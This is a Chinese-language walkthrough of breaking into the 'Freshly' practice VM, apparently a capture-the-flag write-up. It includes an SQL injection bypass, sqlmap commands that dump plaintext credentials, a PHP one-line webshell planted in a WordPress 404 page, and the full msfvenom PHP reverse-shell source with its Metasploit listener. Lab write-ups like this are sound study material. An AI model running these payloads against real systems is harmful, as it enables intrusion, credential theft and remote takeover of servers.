|
原文链接:Freshly靶机渗透
信息收集
1.1、确认IP
nmap扫描确认主机存活,确认靶机IP:192.168.50.78
nmap -sn 192.168.50.1/24
1.2、扫描端口和服务
nmap扫描端口和服务,将结果报错到freshly.txt文件中
nmap -p- -A 192.168.50.78 -oN freshly.txt
收集的信息:
80 http
443 https
8080 http
linux3.2-4.9 ubuntu apache2.4.7
1.3、访问http服务
访问80端口,http://192.168.50.78/, 一张图片,没有发现什么有用的信息
访问443端口,https://192.168.50.78/ ,找到一个wordpress站点
https://192.168.50.78/wordpress/
访问8080,http://192.168.50.78:8080/ ,还是得到这个页面
https://192.168.50.78/wordpress/
1.4、扫描目录
dirb扫描目录
/img/
/wordpress/
dirbuster扫描目录
找web漏洞
2.1、查看wordpress页面
访问了
/store/,/cart/,/checkout/,/express/,/ipn/,/receipt/,这几个目录,没找到什么有用的信息
访问
http://192.168.50.78:8080/wordpress/atom ,一个邮件订阅页面,没发现有什么用
在搜索处尝试SQL注入,没有成功,用sqlmap也没结果
访问
http://192.168.50.78:8080/wordpress/wp-admin/ ,是一个更新数据库的页面
更新了下,没发现页面有什么变化
页面跳转至
http://192.168.50.78:8080/wordpress/login ,wordpress后台的登陆页
提示密码错误,说明admin用户存在,尝试弱口令爆破,没有成功
在主页下方的留言板留言试试
页面跳转至
https://192.168.50.78/wordpress/wp-comments-post.php ,并提示错误,没测出来漏洞
2.2、wpscan扫描
用wpscan扫描下,没发现什么有用的信息
2.3、忽略掉的思路和方向
扫目录加上端口
扫描目录时,忘了加端口,而默认扫描的,不是80端口下的内容,导致扫描出来的目录不全
重新扫描,http://192.168.50.78:80/
得到新的方向:
http://192.168.50.78:80/login.php
http://192.168.50.78:80/phpmyadmin/
http://192.168.50.78:80/javascript/
访问
http://192.168.50.78:80/phpmyadmin/ ,尝试爆破,失败
SQL注入
访问http://192.168.50.78:80/login.php ,发现是个登陆页面
尝试万能密码,发现单引号就能绕过
1' or 1=1 #
页面没有跳转,只有0和1的显示,属于布尔型的注入
确认数据库名长度
确认数据库名长度为5
1' or 1=1 and length(database())=5# //回显1
1' or 1=1 and length(database())>5# //回显0
sqlmap
布尔盲注有些繁琐,还是用sqlmap跑下吧
先拿到POST请求包,在user=1后加个*指定下注入点,将请求包保存到sqltest.txt中
- POST /login.php HTTP/1.1
- Host: 192.168.50.78
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- DNT: 1
- Referer: http://192.168.50.78/login.php
- Cookie: PHPSESSID=qj4c92fpeec7236d5iio3eceb3; Cart66DBSID=O2RHWHKR2J77SNGIKR89DWXKCOAXPLIL3DQRF2VD
- Connection: close
- Upgrade-Insecure-Requests: 1
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 26
- user=1*&password=1&s=Submi
复制代码
使用sqlmap进行测试
sqlmap -r sqltest.txt --batch
结果跑出来的是个时间盲注。。。
sqlmap -r sqltest.txt --dbs --batch
跑库名
- [*] information_schema
- [*] login
- [*] mysql
- [*] performance_schema
- [*] phpmyadmin
- [*] users
- [*] wordpress8080
复制代码
sqlmap -r sqltest.txt -D login --tables --batch
跑表名
- +-----------+
- | user_name |
- | users |
- +-----------+
复制代码
sqlmap -r sqltest.txt -D users --tables --batch
结果,users下没有表
sqlmap -r sqltest.txt -D wordpress8080 --tables --batch
- +-------+
- | users |
- +-------+
复制代码
sqlmap -r sqltest.txt -D phpmyadmin --tables --batch
- +---------------------+
- | pma_bookmark |
- | pma_column_info |
- | pma_designer_coords |
- | pma_history |
- | pma_pdf_pages |
- | pma_recent |
- | pma_relation |
- | pma_table_coords |
- | pma_table_info |
- | pma_table_uiprefs |
- | pma_tracking |
- | pma_userconfig |
- +---------------------+
复制代码
跑字段
查询login数据库下users表中的字段,password和user_name
sqlmap -r sqltest.txt -D login -T users --columns --batch
- +-----------+-------------+
- | Column | Type |
- +-----------+-------------+
- | password | varchar(20) |
- | user_name | varchar(20) |
- +-----------+-------------+
复制代码
查询login数据库下user_name表中的字段,得到user_name字段
sqlmap -r sqltest.txt -D login -T user_name --columns --batch
查询wordpress8080数据库下users表中的字段,得到password与username字段
sqlmap -r sqltest.txt -D wordpress8080 -T users --columns --batch
跑值
查询login数据库下user_name表下的user_name字段的值,得到candyshop
sqlmap -r sqltest.txt -D login -T user_name -C user_name --dump --batch
查询login数据库下users表下的user_name字段的值,得到candyshop和Sir
sqlmap -r sqltest.txt -D login -T users -C user_name --dump --batch
查询login数据库下users表下的password字段的值,得到password和PopRocks
sqlmap -r sqltest.txt -D login -T users -C password --dump --batch
查询wordpress8080 数据库下users表下的username字段的值,得到admin
sqlmap -r sqltest.txt -D wordpress8080 -T users -C username --dump --batch
查询wordpress8080 数据库下users表下的password字段的值,得到SuperSecretPassword
sqlmap -r sqltest.txt -D wordpress8080 -T users -C password --dump --batch
2.4、拿shell
C刀
拿到上面三对账号密码尝试登陆Wordpress,只有admin与SuperSecretPassword可以登陆
既然成功登陆到Wordpress,这次还是利用404页面拿shell
试着直接往404页面末尾加入一句话木马
<?php @assert($_POST[x]); ?>
用蚁剑连接失败,用C刀可以连接404页面
https://192.168.50.78/wordpress/ ... es/Kratos-2/404.php 密码x
试着通过C刀的模拟终端来提权发现不行,干脆直接重新上传个webshell即可,但不知道为啥C刀一上传文件软件就崩溃了,算了,换个方式
msf反弹shell
通过msf生成php格式的webshell,将内容复制刀404.php中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.50.131 LPORT=9999 -f raw >shell.php
得到shell.php的具体内容如下:
- /*<?php /**/ error_reporting(0); $ip = '192.168.50.131';
- $port = 9999;
- if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}");
- $s_type = 'stream';
- }
- if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port);
- $s_type = 'stream';
- }
- if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
- $res = @socket_connect($s, $ip, $port);
- if (!$res) { die();
- }
- $s_type = 'socket';
- }
- if (!$s_type) { die('no socket funcs');
- }
- if (!$s) { die('no socket');
- }
- switch ($s_type) { case 'stream': $len = fread($s, 4);
- break;
- case 'socket': $len = socket_read($s, 4); break;
- }
- if (!$len) { die();
- }
- $a = unpack("Nlen", $len);
- $len = $a['len']; $b = '';
- while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b));
- break; case 'socket': $b .= socket_read($s, $len-strlen($b));
- break;
- }
- }
- $GLOBALS['msgsock'] = $s;
- $GLOBALS['msgsock_type'] = $s_type;
- if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b);
- $suhosin_bypass();
- }
- else { eval($b);
- }
- die();
复制代码
将shell内容放到<?php ?>标签中,然后复制到404.php最下方
msf监听9999端口
- use exploit/multi/handler
- set payload php/meterpreter/reverse_tcp
- set lhost 192.168.50.131
- set lport 9999
- exploit
复制代码
访问https://192.168.50.78/wordpress/wp-content/themes/Kratos-
2/404.php 这个404页面
成功反弹shell,使用python反弹终端
python -c 'import
pty;pty.spawn("/bin/bash")'
2.5、提权
输入su
输入密码SuperSecretPassword
成功提权至root
本来还查看了/etc/passwd,发现有用户candycane,输入密码password,切换了用户
再从candycane提权到root
没想到直接从daemon提权至root成功了。。。
总结
遇到的坑:
1、扫目录的时候没有加端口,以为不加端口就是默认扫描80端口。。没想到默认扫的是8080端口,导致一直没找到突破口
2、尝试菜刀拿shell时,通过菜刀连接,一上传或下载文件就卡死。。。
3、尝试msf反弹shell时,发现shell.php并无完整的php标签<?php ?>,随意将代码复制到了原404代码中的<?php ?>中,虽然也能成功反弹shell,但404.php页面会打不开
新get的思路和方法:
可以在保证404页面正常访问前提下,利用wordpress的404页面反弹shell
|
|